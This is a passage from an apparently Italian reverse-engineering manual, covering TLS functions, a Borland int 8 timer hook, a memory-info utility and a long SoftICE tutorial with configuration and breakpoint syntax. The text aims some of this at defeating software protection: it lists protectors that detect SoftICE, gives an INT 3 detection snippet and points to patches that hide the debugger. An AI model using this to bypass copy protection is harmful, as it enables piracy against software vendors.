FF /4	/r	JMP rm16
FF /5	/r	JMP FAR m16:16
FF /6	/r	PUSH rm16
FF /7	(??)	(Not an instruction)

INFORMAZIONI VARIE

Alcune note possono essere portate in relazione all'indirizzamento di memoria in funzione del sistema operativo usato.
Parlando prima di indirizzamento dicevamo che nel caso dei 16 bits i segmenti erano di 64 Kbytes mentre nel 32 bits si poteva indirizzare sino a 4 Gbytes di memoria.
In pratica 2 Gbytes dovrebbero essere indirizzate dal programma mentre 2 da sistema operativo.
Per vedere se un indirizzo di memoria è accessibile è possibile utilizzare una funzione C con un puntatore settato all'indirizzo da testare.

```
BOOL IsFirst64kInvalid(void)
   {
      BOOL bFirst64kInvalid = FALSE;

      try {
         *(char *)0x0000FFFF;
      }
      except (EXCEPTION_EXECUTE_HANDLER) {
         if (EXCEPTION_ACCESS_VIOLATION == GetExceptionCode())
            bFirst64kInvalid = TRUE;

      }

      return bFirst64kInvalid;
   }
```

Sempre in relazione alla memoria al fine di nascondere alcune informazioni spesso vengono usate zone particolari.
Seguendo con il debugger alcuni programmi spesso si notato chiamate ad una serie di funzioni che iniziano per Tls.
Che cosa sarebbe questo Tls ?
Tls stà per Thread Local Storage ovvero una zona di memoria locale ai threads di un processo, nel quale questi possono salvae informazioni private.
Esistono quattro funzioni che permettono la gestione di questa memoria.

```
TlsAlloc()
TlsGetValue()
TlsSetValue()
TlsFree()
```

La prima funzione alloca la memoria e restituisce un indice che può essere utilizzato per accederci.
Questo indice deve essere salvato in una variabile globale o statica.
Ad esempio :

```
TlsIndex = TlsAlloc();
```

alloca la memoria e restitusce l'indice salvato in TlsIndex.
Il seguente esempio invece aloca dinamicamente 100 bytes e li salva nella TLS.

```
TlsSetValue(TlsIndex, malloc(100));
```

La funzione

```
TlsSetValue(TlsIndex, (LPVOID)hWnd);
```

salva nel TLS l'handle ad una window generica.
Ogni thread di un processo possiede il suo TLS privato anche se di fatto il tutto viene gestito da un solo indice.

TlsAlloc() può essere chiamato una sola volta per processo e riserva per ogni thread la sua DWORD-size di memoria privata.
Se la funzione vista come esempio precedentemente, relativa al salvataggio dell'handle della window, viene chiamata dal thread A, questa accedera ad una zona di memoria differente da quella a cui si sarebbe giunti se la chiamata fosse stata fatta dal thread B.
Prima che l'ultimo thread termini si deve liberare la memoria dinamicamente allocata con :

```
free(TlsGetValu(TlsIndex)));
```

e successivamente liberare la memoria TLS

```
if(!TlsFree(TlsIndex))
      // handle errpor on TlsFree
```

INTERRUPT DI TIMER INT 8

Un interrupt particolare cha ai tempi in cui avevo scritto il volume sui TSR era il fiore all'occhiello per i sistemi multitasking eral'interrupt di timer ovvero l'int 8.
Questo veniva chiamato un certo numero di volte al secondo (18.2) e poteva essere sfruttato per la creazione di routine concorrenti.
La scrittura pretendeva sistemi particolari per fare in modo che i processi software agganciati a questo interrupt non fossero troppo invadenti o grosse.
Sotto Windows il concetto parallelo potrebbe essere quello del messaggio di WM_TIMER.
In pratica è possibile scrivere una certa funzione ed agganciarla a questo interrupt.
I processi che sono eseguiti verrebbero sospesi 18.2 volte al secondo per lanciare il software settato.
I segeunti moduli permettono l'aggancio a questo interrupt in ambiente a 32 bits.
Ricordiamoci che questo inettrupt potrebbe essere alla base di sistemi concorrenti indirizzati alla protezione del software.
Se alcuni breakpoint sono basati su registri hardware sarebbe possibile creare routine concorrenti che vadano a rompere le uova nel paniere a certi software.
Il sistema per l'aggancio all'int 8 è composto da un modulo assembler e da uno C.

```
Isr32.c

#include <stdio.h>
#include <conio.h>

#ifndef __DPMI32__
#error Must be compiled for 32-bit DPMI.  Use BCC32 -WX
#endif

#pragma inline

#define INTERRUPT 0x08

typedef unsigned char  uchar;
typedef unsigned short ushort;
typedef unsigned long  ulong;

struct fword {
```

```
  ulong  offset;
  ushort selector;
};

ulong ticks=0;

fword oldhandler;
unsigned short dataseg;

extern "C" void handler( void );

void setvect( uchar vector, ushort sel, ulong ofs ) {
  asm {
    push ds
    push edx
    push ax
    mov  edx,ofs
    mov  ax,sel
    mov  ds,ax
    mov  ah,0x25
    mov  al,vector
    int  0x21
    pop  ax
    pop  edx
    pop  ds
  }
}

void getvect( uchar vector, ushort *sel, ulong *ofs ) {
  ushort tempsel;
  ulong  tempofs;
  asm {
    push es
    mov ah,0x35
    mov al,vector
    int 0x21
    mov ax,es
    pop es
    mov tempsel,ax
    mov tempofs,ebx
  }
  *sel = tempsel;
  *ofs = tempofs;
}

int main(void) {
//  ushort sel;
//  ulong  ofs;

  dataseg=_DS;

  getvect( INTERRUPT, &oldhandler.selector, &oldhandler.offset );
  printf("interrupt %02X was at %04X:%08lX\n",INTERRUPT,
                                            oldhandler.selector,
                                            oldhandler.offset );
  setvect( INTERRUPT, _CS, (unsigned long)handler );
  printf("new handler installed, press any key to quit\n");

  while (!kbhit()) {
    printf("%cTimer ticks: %lu",13,ticks);
  }
  printf("\n");
```

```
  printf("removing handler\n");
  setvect( INTERRUPT, oldhandler.selector, oldhandler. offset );

  return 0;
}
```

```
;
; TIMER32.ASM  Assembly helper file for ISR32.CPP
;
;              Copyright (c) 1994 by Borland International
;              All Rights Reserved.
;
.386
.model flat,c

.data

extrn  ticks:dword
extrn  dataseg:word
extrn  oldhandler:fword

.code

handler proc far
   public handler

   push ds
   push eax
   mov  ds,cs:[dataseg]
   mov  eax,[ticks]
   inc  eax
   mov  [ticks],eax
   pop  eax
   pop  ds

   jmp  cs:fword ptr [oldhandler]

handler endp

end
```

```
timer32.mak

##############################################################################
# DPMI examples - (C) Copyright 1994 by Borland International
# All rights reserved
#----------------------------------------------------------------------------
# TIMER32.MAK - Example of hooking the hardware timer (int-8) in a DPMI32
#               program.
#
#

timer32.exe : -etimer32.exe isr32.cpp timer32.asm
    bcc32 -WX $**
```

RICAVARE LE INFORMAZIONI RELATIVE A TUTTA LA MEMORIA

Partendo dalla memoria fisica installata possiamo ricavare tutte le informazioni relative alla memoria HEAP, alla memoria virtuale, alla emassima dimensione di memoria HEAP allocabile e così via.
Il seguente programma mostra tutte le informazioni relative alla memoria.
Parte del programma è in C mentre certe funzioni sono scritte direttamente in assembler tramite le istruzioni inline dei compilatori C.

```
Freemem2.c

#include <windows.h>
#include <toolhelp.h>
#include "freemem2.h"

// Reads the CMOS RAM to get the total installed memory
DWORD GetInstalledRAM(void)
{
    __asm {

        cli                 // Disable interrupts

        // Read the base memory (in K) into BX
        mov     al, 15h     // Tell the CMOS ram which byte we want to read
        out     70h, al
        in      al, 71h     // read in the byte from the CMOS ram
        mov     bl, al

        mov     al, 16h
        out     70h, al
        in      al, 71h
        mov     bh, al

        // Read the extended memory (in K) into AX
        mov     al, 18h
        out     70h, al
        in      al, 71h
        mov     ah, al

        mov     al, 17h
        out     70h, al
        in      al, 71h

        sti                 // enable interrupts

        xor     dx, dx      // add base + extended memory and put the
        add     ax, bx      // result into DX:AX
        adc     dx, 0
    }

    // Ignore the compiler complaint about "function must return a value"
}

// Sum up the sizes of all the global heap blocks.  If a non-zero pointer
// is passed as a parameter, store the size of the largest free block
// into that location.
DWORD GetGlobalHeapSize(DWORD *pLargestFree)
{
    GLOBALENTRY ge;
    DWORD size = 0;
    BOOL fContinue;

    if ( pLargestFree )
        *pLargestFree = 0;  // Initial largest free block is 0 bytes
```

```
    // Use TOOLHELP GlobalFirst/GlobalNext to walk the global heap
    ge.dwSize = sizeof(ge);
    fContinue = GlobalFirst(&ge, GLOBAL_ALL);
    while ( fContinue )
    {
        size += ge.dwBlockSize; // Add blocksize to running total

        // If the block is free, and larger than the previous largest
        // free block, make it the new largest free block
        if ( pLargestFree && (ge.wType == GT_FREE) )
            if ( ge.dwBlockSize > *pLargestFree )
                *pLargestFree = ge.dwBlockSize;

        fContinue = GlobalNext(&ge, GLOBAL_ALL);
    }

    *pLargestFree /= 1024;  // Convert bytes to K
    return size / 1024;
}

// Fill in the dialog text controls that never vary (installed RAM, etc...)
void PaintConstantItems(HWND hWndDlg)
{
    MEMMANINFO mmi;
    DWORD size;
    char buffer[128];

    mmi.dwSize = sizeof(mmi);
    MemManInfo(&mmi);

    wsprintf(buffer, "Installed RAM: %ldk", GetInstalledRAM());
    SetDlgItemText(hWndDlg, IDT_INSTALLED_RAM, buffer );

    // check to see if the field is -1.  If we didn't, we'd show -4K!
    size = (mmi.dwTotalPages == -1) ? -1 : mmi.dwTotalPages * 4;
    wsprintf(buffer, "Total Memory: %ldk", size);
    SetDlgItemText(hWndDlg, IDT_TOTAL_MEMORY, buffer );

    wsprintf(buffer, "Swap File Pages: %ldk", mmi.dwSwapFilePages * 4);
    SetDlgItemText(hWndDlg, IDT_SWAP_FILE_PAGES, buffer );

    size = (mmi.dwTotalLinearSpace == -1) ? -1 : mmi.dwTotalLinearSpace * 4;
    wsprintf(buffer, "Linear Space: %ldk", size);
    SetDlgItemText(hWndDlg, IDT_ADDRESS_SPACE, buffer );
}

// Fill in the dialog text controls that vary (largest free block, etc...)
void PaintVariableItems(HWND hWndDlg)
{
    MEMMANINFO mmi;
    DWORD largestFreeGlobalHeapBlock;
    DWORD totalGlobalHeapSize;
    char buffer[128];
    DWORD size;

    totalGlobalHeapSize = GetGlobalHeapSize(&largestFreeGlobalHeapBlock);
    mmi.dwSize = sizeof(mmi);
    MemManInfo(&mmi);

    wsprintf( buffer, "Global Heap Total: %ldk", totalGlobalHeapSize);
    SetDlgItemText(hWndDlg, IDT_GLOBAL_HEAP_TOTAL, buffer);
```

```
    wsprintf( buffer, "Largest Free Heap Block: %ldk",
            largestFreeGlobalHeapBlock);
    SetDlgItemText(hWndDlg, IDT_LARGEST_FREE_GLOBAL, buffer);

    size = (mmi.dwMaxPagesLockable == -1) ? -1 : mmi.dwMaxPagesLockable * 4;
    wsprintf( buffer, "Max Lockable Pages: %ldk", size);
    SetDlgItemText(hWndDlg, IDT_MAX_LOCKABLE, buffer);

    size = (mmi.dwFreePages == -1) ? -1 : mmi.dwFreePages * 4;
    wsprintf( buffer, "Free Memory: %ldk", size);
    SetDlgItemText(hWndDlg, IDT_TOTAL_FREE, buffer);

    wsprintf( buffer, "Largest Free Block: %ldk", mmi.dwLargestFreeBlock/1024);
    SetDlgItemText(hWndDlg, IDT_LARGEST_FREE, buffer);

    size = (mmi.dwFreeLinearSpace == -1) ? -1 : mmi.dwFreeLinearSpace * 4;
    wsprintf( buffer, "Free Linear Space: %ldk", size);
    SetDlgItemText(hWndDlg, IDT_FREE_SPACE, buffer);
}

BOOL CALLBACK _export FreeMem2DlgProc(HWND hWndDlg, UINT msg,
                                      WPARAM wParam, LPARAM lParam)
{
    if ( msg == WM_INITDIALOG )
    {
        PaintConstantItems(hWndDlg);
        PaintVariableItems(hWndDlg);
        SetTimer( hWndDlg, 1, 5000, 0 );    // a 5 second timer
    }
    else if ( msg == WM_COMMAND )
    {
        if ( wParam == IDB_EXIT )       // Exit button pushed?
            EndDialog(hWndDlg, 0);
    }
    else if ( msg == WM_TIMER )         // 5 seconds are up!
        PaintVariableItems(hWndDlg);
    else if ( msg == WM_CLOSE )
        EndDialog(hWndDlg, 0);          // User hit Close on the system menu

    return FALSE;
}

int PASCAL WinMain( HANDLE hInstance, HANDLE hPrevInstance,
                    LPSTR lpszCmdLine, int nCmdShow )
{
    DialogBox(hInstance, "FreeMem2Dlg", 0, FreeMem2DlgProc);
    return 0;
}
```

Il seguente è il file .DEF

```
Freemem2.def

NAME            'FREEMEM2'
DESCRIPTION     'System Memory Utility - Matt Pietrek 1993'
EXETYPE WINDOWS
CODE PRELOAD MOVEABLE DISCARDABLE
DATA PRELOAD MOVEABLE MULTIPLE
STACKSIZE 5120
HEAPSIZE  5120
```

```
Freemem2.h

#define IDB_EXIT                100
#define IDT_INSTALLED_RAM       101
#define IDT_GLOBAL_HEAP_TOTAL   102
#define IDT_LARGEST_FREE_GLOBAL 103
#define IDT_TOTAL_MEMORY        104
#define IDT_SWAP_FILE_PAGES     105
#define IDT_MAX_LOCKABLE        106
#define IDT_TOTAL_FREE          107
#define IDT_ADDRESS_SPACE       108
#define IDT_FREE_SPACE          109
#define IDT_LARGEST_FREE        110
```

Il file .mak

```
Freemem2.mak

PROJNAME = FREEMEM2

$(PROJNAME).exe: $(PROJNAME).obj $(PROJNAME).res
  link /ON:N /A:16 $(PROJNAME).obj, $(PROJNAME), , \
      LIBW.LIB TOOLHELP.LIB SLIBCEW.LIB,$(PROJNAME).def
  RC $(PROJNAME).res $(PROJNAME).exe

$(PROJNAME).obj: $(PROJNAME).c $(PROJNAME).h
  CL /W3 /GAs /G2 /c /Zi $(PROJNAME).c

$(PROJNAME).res: $(PROJNAME).rc
    RC -R -FO $(PROJNAME).res $(PROJNAME).rc
```

Il file delle risorse.

```
Freemem2.rc

#include <windows.h>
#include "freemem2.h"

FreeMem2Dlg DIALOG 19, 61, 305, 76
STYLE DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU
CAPTION "FreeMem2 - Matt Pietrek 1993"
BEGIN
    LTEXT "Installed RAM:", IDT_INSTALLED_RAM, 4, 4, 90, 8, WS_CHILD |
WS_VISIBLE | WS_GROUP
    LTEXT "Global Heap Total:", IDT_GLOBAL_HEAP_TOTAL, 4, 16, 100, 8, WS_CHILD |
WS_VISIBLE | WS_GROUP
    LTEXT "Largest Free Heap Block:", IDT_LARGEST_FREE_GLOBAL, 112, 16, 140, 8,
WS_CHILD | WS_VISIBLE | WS_GROUP
    LTEXT "Total Memory:", IDT_TOTAL_MEMORY, 4, 36, 104, 8, WS_CHILD |
WS_VISIBLE | WS_GROUP
    LTEXT "Max Lockable Pages:", IDT_MAX_LOCKABLE, 4, 48, 104, 8, WS_CHILD |
WS_VISIBLE | WS_GROUP
    LTEXT "Free Memory:", IDT_TOTAL_FREE, 112, 48, 90, 8, WS_CHILD | WS_VISIBLE
| WS_GROUP
    LTEXT "Linear Space:", IDT_ADDRESS_SPACE, 4, 60, 104, 8, WS_CHILD |
WS_VISIBLE | WS_GROUP
    LTEXT "Swap File Pages:", IDT_SWAP_FILE_PAGES, 112, 36, 90, 8, WS_CHILD |
WS_VISIBLE | WS_GROUP
```

```
    LTEXT "Largest Free Block:", IDT_LARGEST_FREE, 206, 60, 96, 8, WS_CHILD |
WS_VISIBLE | WS_GROUP
    LTEXT "Free Linear Space:", IDT_FREE_SPACE, 112, 60, 90, 8, WS_CHILD |
WS_VISIBLE | WS_GROUP
    CONTROL "DPMI / MemManInfo", 101, "button", BS_GROUPBOX | WS_CHILD |
WS_VISIBLE, 2, 26, 302, 46
    DEFPUSHBUTTON "Exit", IDB_EXIT, 260, 4, 32, 14, WS_CHILD | WS_VISIBLE |
WS_TABSTOP
END
```

SOFTICE

SoftIce deve essere trattato a parte a causa delle grosse potenzialità ma anche delle difficoltà maggiori rispetto gli altri debugger.
SI è stato disponibile per diversi sistemi operativi quali ad esempio DOS, WIN16 e WIN32.
Purtroppo sotto Windows 2000 le versioni esistenti si rifiutano di installarsi ma d'altra parte è anche giusto perché già a prima vista questa versione di OS sembra disporre di differenze che giustificano pienamente questo fatto.
Sicuramente i software che sviluppavano le loro funzionalità tramite chiamata alle API funzioneranno ancora.
In altre parole se, ad esempio, eseguivano un interrogazione al file di registro mediante le calls API (RegQueryValue ecc.) continueranno a funzionare tranquillamente.
A livello sistemistico (gestione dei task, dei processi) ci saranno sicuramente differenze per cui i software che agiscono a basso livello, come potrebbe esserlo un Debugger, avranno qualche problema.
SI è composto da alcuni moduli il cui scopo, a parte il nucleo principale, è quasi sempre legato al debugging di programmi con sorgenti a disposizione.
Il cuore di SI viene caricato, in genere da AUTOEXEC, ed è sempre disponibile ed attivabile con la semplice pressione di alcuni tasti come ad esempio CTRL-D che è la combinazione di default.
Questa può essere modificata a piacere.
Un modulo particolare è quello di setup che in genere viene attivato all'inizio per settare MOUSE e SCHEDA VIDEO.
Rispetto agli altri programmi descritti in questo manuale SI non dispone di immagini catturate in quanto dopo la sua comparsa disabilita i tasti che sono legati al capture delle immagini video e quindi non permette di eseguire hardcopy.
Un programma particolare è il loader che crea alcune tabelle, nel caso di sorgenti disponibili, e legge il software in memoria.
Questo loader può essere anche inutile anche perchè, come ho detto prima, il debugging può avvenire in qualsiasi istante tramite la pressione dei tasti CTRLD.
SI mostra al momento dell'attivazione il nome del modulo proprietario del codice mostrato nell'istante in cui compare.
Alcune volte le informazioni sono quelle relative al suddivisore del tempo di Windows.
Le opzioni che permettono di settare certi tipi di breakpoint in genere permettono di specificare l'handle della finestra o il nome del modulo a cui ci si vuole riferire.
SI dispone di molti comandi atti a fornire informazioni dettagliate sui moduli attivi.
Inoltre al potenza di SI, come vedremo, è legata ai breakpoint.
Le principali possibilità di SI sono le seguenti.

- **Breakpoints in realtime legati alla lettura/scrittura nella memoria**
- **Backtrace history**
- **Debugging a livello simbolico e di sorgente**
- **Ambiente che può lavorare con debugger esistenti**
- **Supporto completo EMM**
- **Finestra di lavoro popup che può comparire in qualsiasi istante**
- **Metodologia che protegge SI da programmi che creano problemi**
- **Possibilità di usare SI come debugger stand-alone. Questa possibilità è usata per debuggare device driver, interrupts handlers o sequenze di boot.**

SoftIce fà paura alle case che creano software destinati alle protezioni tanto da avergli inserito all'interno di tali moduli dei sistemi che controllano la sua presenza.

La paura comunque è abbastanza relativa in quanto le potenzialità di SI sono proporzionali alle difficoltà d'uso.
SI potrei definirlo un debugger di sistema invece che di programma.
Quando carico un certo programma sotto TurboDebugger o sotto debugger Microsoft il disassemblato mostrato è appunto relativo a questo.
SoftIce invece mostra il codice del programma ma non solo.
Se il CTRL-D che lo attiva viene dato in un momento in cui è in esecuzione un pezzo di codice di qualche task differente questo viene mostrato nella porzione di video relativo al codice.
Stessa cosa dicasi per i breakpoint.
Se io abbino ad un breakpoint un certo tipo di messaggio (WM_PAINT, WM_INITDIALOG ecc.) l'interruzione del codice avverrà in occesione di qualsiasi WM_PAINT o WM_INITDIALOG capitato nel sistema e non solo relativo al processo da noi voluto.
Per limitare i processi controllati dovremo utilizzare ulteriori selettori nella riga di attivazione del breakpoint come ad esempio l'handle della window, l'ID del TASK, l'ID del processo e così via.
Queste informazioni dovremo ricavarle mediante le funzioni informative di SI oppure dovremo ricavarle con utilities esterne.
Se un comando di SI gestisce come sintassi un handle, un ID ecc. allora sicuramente ci sarà un comando che permetterà di cercarlo e visualizzarlo.
In ogni caso la gestione di un debugger come questo è sicuramente più potente di altri ma è anche più complicata tanto che spesso viene preferito WDASM che a livello di tipologie di breakpoints e funzioni condizionali è meno potente ma quello che ha è controllabile a vista con pulsanti e tutte le informazioni visibili sono tutte inserite in finestre mostrate a video.
Con SI ci troveremo spesso a dover richiedere la visualizzazione di informazioni che dovranno essere segnate su fogli per non dimenticare i dati.
Questi dati dovranno successivamente essere utilizzati in altri comandi.
Le funzioni eseguibili con il mouse sono nulle, almeno fino alla versione 3.25.
Anche funzioni di visualizzazione delle informazioni in SI è più complicata rispetto a WDASM ed in ogni caso sono tutte legate a sequenze di comandi testuali che bisogna dare.
WDASM sicuramente darà più soddisfazioni inizialmente però ci si accorge presto che è più instabile.
WDASM spesso segnala errori legati ai threads o similia che sono dovuti al compito sicuramente ingrato che si trova dinanzi a certi programmi di grosse dimensioni.
Poi ricordiamoci che uno è in particolar modo un disassemblatore con funzioni di debugger mentre l'altro è un debugger puro.
Che differenza c'è ?
Nel primo caso il programma viene preso ed analizzato al fine di tentare di ricostruire i riferimenti ecc.
Il secondo, il debugger, invece interpreta direttamente le istruzioni del programma che vanno al processore senza prima leggere completamente il programma e senza tentare di ricostruire le symbols table.
Caricando un programma con WDASM vedete chiaramente che esegue diverse passate su quanto ha letto.
Dopo la prima fase di analisi WDASM ha creato le varie tabelle e il listato in assembler.
Se ad un certo punto lo si vuole debuggare allora lo si deve leggere in memoria con l'apposita opzione.
Se il programma è molto grosso si possono incontrare problemi nella fase di rigenerazione del codice assembler.
Le prime versioni di WDASM rigeneravano solo i sorgenti in assembler e non eseguivano un debugging dinamico.
Spesso i sorgenti ricreati dalle vecchie versioni di WDASM avevano un utilità educativa in quanto per se stessi i sorgenti non si potevano neppure ricompilare o perchè troppo grossi o perchè contenevano costruitti non identificabili da WDASM.

La “disassemblazione” di un programma di 500 Kbytes a volte creava sorgenti .ASM di 20 Mbytes cosa che faceva “ridere” il compilatore non appena li vedeva.
Dicevamo che SI fa paura ai softwaristi che creano protezioni.
I seguenti protettori identificano softice.

```
EEXE (Encrypt Exe - FZC.EXE)
HACKSTOP (WWPACK.EXE)
PROTECT! (in vari files)
GUARDIAN ANGEL (HWINFO.EXE)
EXELITE (exe-compressor polacco)
PREDATOR 666 (DCA.EXE v1.4)
DS-CRP by Dark Stalker (hi!)
SECURE v0.19 dall’autore di WWPACK
ALEC v1.5 (il miglior protettore) by Random
```

Ma come al solito fatta la legge trovato l’inganno.
Ogni programma di protezione dispone di una metodologia sua per l’identificazione di SoftIce per cui esistono patch che cambiando il MagicNumber e altre cose permettono a SoftIce di non essere identificato.
Molti programmi mandano in CRASH SoftIce usando l’interfaccia dell’INT 3 o altri interrupts oscuri (INT01/ICEBP,INT06,INT07,INT08).
Ad esempio la seguente sequenza di istruzioni permette di sapere se SI è installato.

```
mov ebp,"BCHK"
mov ax,4
int 3
cmp ax,4
jne winice_installed
```

I files per eseguire le patchs li trovate cercando su Astalavista i lavori fatti da :

```
Greetings from the SoftICE 3.0 (Godot) team!
Dom Basile
Wizard extraordinaire   Tom Guinther
Symbol engine, loader   Dan Babcock
Symbol engine     Gerald Ryckman
Win95 porting & debugging     Ray Hsu
Video & mouse support   Carol Tyler
```

SoftIce possiede, come ho già detto prima, moltissimi breakpoints che possono essere utilizzati per diversi scopi.
Una cosa particolare di SoftIce è il buffer per il backtrace.
Mediante opzioni destinate alla creazione di breakpoint è possibile inserire delle istruzioni in questo buffer e successivamente eseguirle step by step.
Cercate su internet i seguenti files i quali costituiscono degli ottimi manuali legati a SoftIce.

```
SI-UG-~1 TXT       290.729  11/08/99  19.05 si-ug-chapter01.txt
SI-UG-~2 TXT         8.154  11/08/99  11.16 si-ug-chapter02.txt
SI-UG-~3 TXT        39.034  11/08/99  11.17 si-ug-chapter03.txt
SI-UG-~4 TXT        21.710  11/08/99  11.20 si-ug-chapter04.txt
SI2234~1 TXT         5.970  11/08/99  11.12 si-ug-chapter10.txt
SI225A~1 TXT        10.375  11/08/99  11.20 si-ug-chapter08.txt
SI2634~1 TXT        14.241  11/08/99  11.13 si-ug-chapter11.txt
SI264A~1 TXT        74.827  11/08/99  11.17 si-ug-chapter05.txt
SI265A~1 TXT         6.209  11/08/99  11.20 si-ug-chapter09.txt
SI2A34~1 TXT        28.175  11/08/99  11.09 si-ug-chapter12.txt
SI2A4A~1 TXT        14.645  11/08/99  11.09 si-ug-chapter06.txt
SI2E34~1 TXT        40.830  11/08/99  11.08 si-ug-chapter13.txt
SI2E4A~1 TXT        14.811  11/08/99  11.13 si-ug-chapter07.txt
```

Sono 13 capitoli suddivisi per argomentazioni.
SI disponbe inoltre della possibilità di essere eseguito con altri debugger quali CODEVIEW o altri.
Nei files precedenti viene trattato anche questo argomento.
Partiamo ora dall'inizio.
SI dispone di un certo numero di parametri che permettono di settare l'ambiente operativo come ad esempio il numero di linee, la larghezza del video, il tipo di finestre aperte ecc.
I tasti funzione possono essere abbinati a sequenze di comandi tramite funzioni che possono essere inserite, insieme ai comandi appena detti, nel file di inizializzazione WINICE.DAT
Il seguente è un file in cui sono presenti i parametri iniziali che uso io.

```
NMI=ON
SIWVIDRANGE=ON
LOWERCASE=OFF
MOUSE=ON
NOLEDS=OFF
NOPAGE=OFF
PENTIUM=ON
THREADP=ON
VERBOSE=ON

PHYSMB=32
SYM=1024
HST=256
DRAWSIZE=2048
TRA=8

INIT="LINES 40;WIDTH 80;set FONT 3;X"

F1="h;"
F2="^wr;"
F3="^src;"
F4="^rs;"
F5="^x;"
F6="^ec;"
F7="^here;"
F8="^t;"
F9="^bpx;"
F10="^p;"
F11="^G @SS:ESP;"
F12="^p ret;"
SF3="^format;"
CF8="^XT;"
CF9="TRACE OFF;"
CF10="^XP;"
CF11="SHOW B;"
CF12="TRACE B;"
AF1="^wr;"
AF2="^wd;"
AF3="^wc;"
AF4="^ww;"
AF5="CLS;"
AF8="^XT R;"
AF11="^dd dataaddr->0;"
AF12="^dd dataaddr->4;"
CF1="altscr off; lines 60; wc 32; wd 8;"
CF2="^wr;^wd;^wc;"

EXP=C:\PROGRAMM\MAUISO~1\TIMESL~1.EXE
```

```
WDMEXPORTS=ON
MONITOR=0
; WINICE.DAT
; (SIW95\WINICE.DAT)
; for use with SoftICE Version 3.2 (Windows 95)
; 14 July 1997
; *************************************************************************
; If your have MORE than 32MB of physical memory installed, change
; the PHYSMB line to the correct # of Megabytes.
; If you have LESS than 32MB you can save a bit of memory by
; specifying the correct # of Megabytes
; *************************************************************************
; ***** Examples of sym files that can be included if you have the SDK *****
;     Change the path to the appropriate drive and directory
;LOAD=c:\windows\system\user.exe
;LOAD=c:\windows\system\gdi.exe
;LOAD=c:\windows\system\krnl386.exe
;LOAD=c:\windows\system\mmsystem.dll
;LOAD=c:\windows\system\win386.exe
; ***** Examples of export symbols that can be included *****
;     Change the path to the appropriate drive and directory
;EXP=c:\windows\system\vga.drv
;EXP=c:\windows\system\vga.3gr
;EXP=c:\windows\system\sound.drv
;EXP=c:\windows\system\mouse.drv
;EXP=c:\windows\system\netware.drv
;EXP=c:\windows\system\system.drv
;EXP=c:\windows\system\keyboard.drv
;EXP=c:\windows\system\toolhelp.dll
;EXP=c:\windows\system\shell.dll
;EXP=c:\windows\system\commdlg.dll
;EXP=c:\windows\system\olesvr.dll
;EXP=c:\windows\system\olecli.dll
;EXP=c:\windows\system\mmsystem.dll
;EXP=c:\windows\system\winoldap.mod
;EXP=c:\windows\progman.exe
;EXP=c:\windows\drwatson.exe
; ***** Examples of export symbols that can be included for Windows 95 *****
;     Change the path to the appropriate drive and directory
EXP=c:\windows\system\kernel32.dll
EXP=c:\windows\system\user32.dll
EXP=c:\windows\system\gdi32.dll
EXP=c:\windows\system\comdlg32.dll
EXP=c:\windows\system\shell32.dll
;EXP=c:\windows\system\advapi32.dll
;EXP=c:\windows\system\shell232.dll
;EXP=c:\windows\system\comctl32.dll
;EXP=c:\windows\system\crtdll.dll
;EXP=c:\windows\system\version.dll
;EXP=c:\windows\system\netlib32.dll
;EXP=c:\windows\system\msshrui.dll
;EXP=c:\windows\system\msnet32.dll
;EXP=c:\windows\system\mspwl32.dll
;EXP=c:\windows\system\mpr.dll
```

Una parte di SI viene letta mediante linea di comando oppure inserendo l’istruzione che lo lancia dentro all’autoexec.bat.
Premendo CTRL-D, se non sono stati cambiati i tasti, viene attivata la finestra in cui compaiono i dati.
Questo può avvenire in qualsiasi istante.

Se si vuole leggere il codice di un programma è possibile farlo dal programma :

C:\Programmi\NuMega\SoftIce95\loader32.exe

Loader32 mostra la seguente finestra.
Bisogna sempre tener presente che SI permette di debuggare anche programmi con i sorgenti a disposizione anche se nel nostro caso questa possibilità non si verifica mai.
Questo era per dire che molte funzioni disponibili nei menu del loader sono relativi a programmi che dispongono dei sorgenti.
Lo scopo del loader è fondamentalmente quello di trasformare il programma in informazioni simboliche.
Noi lo utilizzeremo fondamentalmente per leggere il programma in memoria tramite il secondo pulsante della toolbar.
I comandi inseriti dentro ai tasti funzione possono essere settati tramite apposito comando.
Questo è lo stesso che permette di visualizzare il settaggio attuale.

```
FKEY
```

Lista i comandi.
Possono essere settati anche i tasti funzione con i vari SHIFT, CTRL, ALT ecc.
Il settaggio avviene con :

```
FKEY tasto Fx funzione
```

La più grossa potenzialità di SI comunque rimangono i breakpoints.
SI dispone di beakpoint che generalmente sono disponibili soltanto in debugger hardware.
Per fare questo vengono sfruttate delle potenzialità dei chip 80386 e fratelli maggiori.
Possono essere settati breakpoint su letture e scritture in memoria, esecuzione di interrupts, lettura e scrittura di porte di I/O ecc.
Ogni breakpoint viene, una volta creato, identificato da un numero il quale potrà essere utilizzato nelle varie funzioni adatte ad attivarlo e a disattivarlo, a cancellarlo o a modificarlo.
Il numero massimo è di 16 breakpoint contemporaneamente.
Breakpoint specifici ad indirizzi particolari possono essere settati semplicemente clickando sulla linea di programma interessato o specificando l'indirizzo della linea come argomento del comando di creazione.
I breakpoints possono essere abbinati ad un contatore che dice quante volte il breakpoint deve essere ignorato prima di essere considerato (count).
Il primo comando per la creazione d breakpoint è :

```
BPM[SIZE]address[verb][qualifier value][C=count]
BPMW
BPMD
BPMB
```

La SIZE o dimensione può essere (B)yte, (W)ord, (D)oubleword.
Questo parametro serve ad indicare il range coperto dal breakpoint.
Se ad esempio viene usato il (D)oubleword e il terzo byte dell doubleword viene modificato allora il breakpoint viene attivato.
I VERB sono le operazioni di lettura, scrittura ecc. e precisamente:

```
R, RW, W o X
```

I QUALIFIER sono :

```
(EQ)ual, (NE)not equal, (GT)greater than, (LT)less than, (M)ask
```

Il VALUE invece è la word, il byte ecc. a seconda della SIZE.
Questo comando viene appunto utilizzato per il settaggio di beakpoint legati a letture, scritture o esecuzioni di memoria.
Il VERB X, per chi conosce Unix sa che X stà per esecuzione, permette di bloccare il programma quando viene eseguita qualche istruzione presente ad un certo indirizzo.
Normalmente CS:IP puntano all'istruzione successiva a quella eseguita.
Se viene utilizzato il VERB X allora CS:IP puntano all'istruzione che ha generato il BP.
Guardate il seguente esempio:

```
BPM 0040:SI W EQ 10 C=3
```

Si tratta di un BP legato all'accesso in memoria.
La terza volta che il valore 10 viene scritto nella locazione 0040:SI fa generare il BP.
Un altro sempio.

```
BPM CS:1234 X
```

La prima volta che viene raggiunto in esecuzione l'indirizzo cs:1234 fa bloccare il programma sul BP.
Un altro esempio utilizzate la MASK.

```
BPMW DS:F00 W E M 0XXX XXXX XXXX XXX1
```

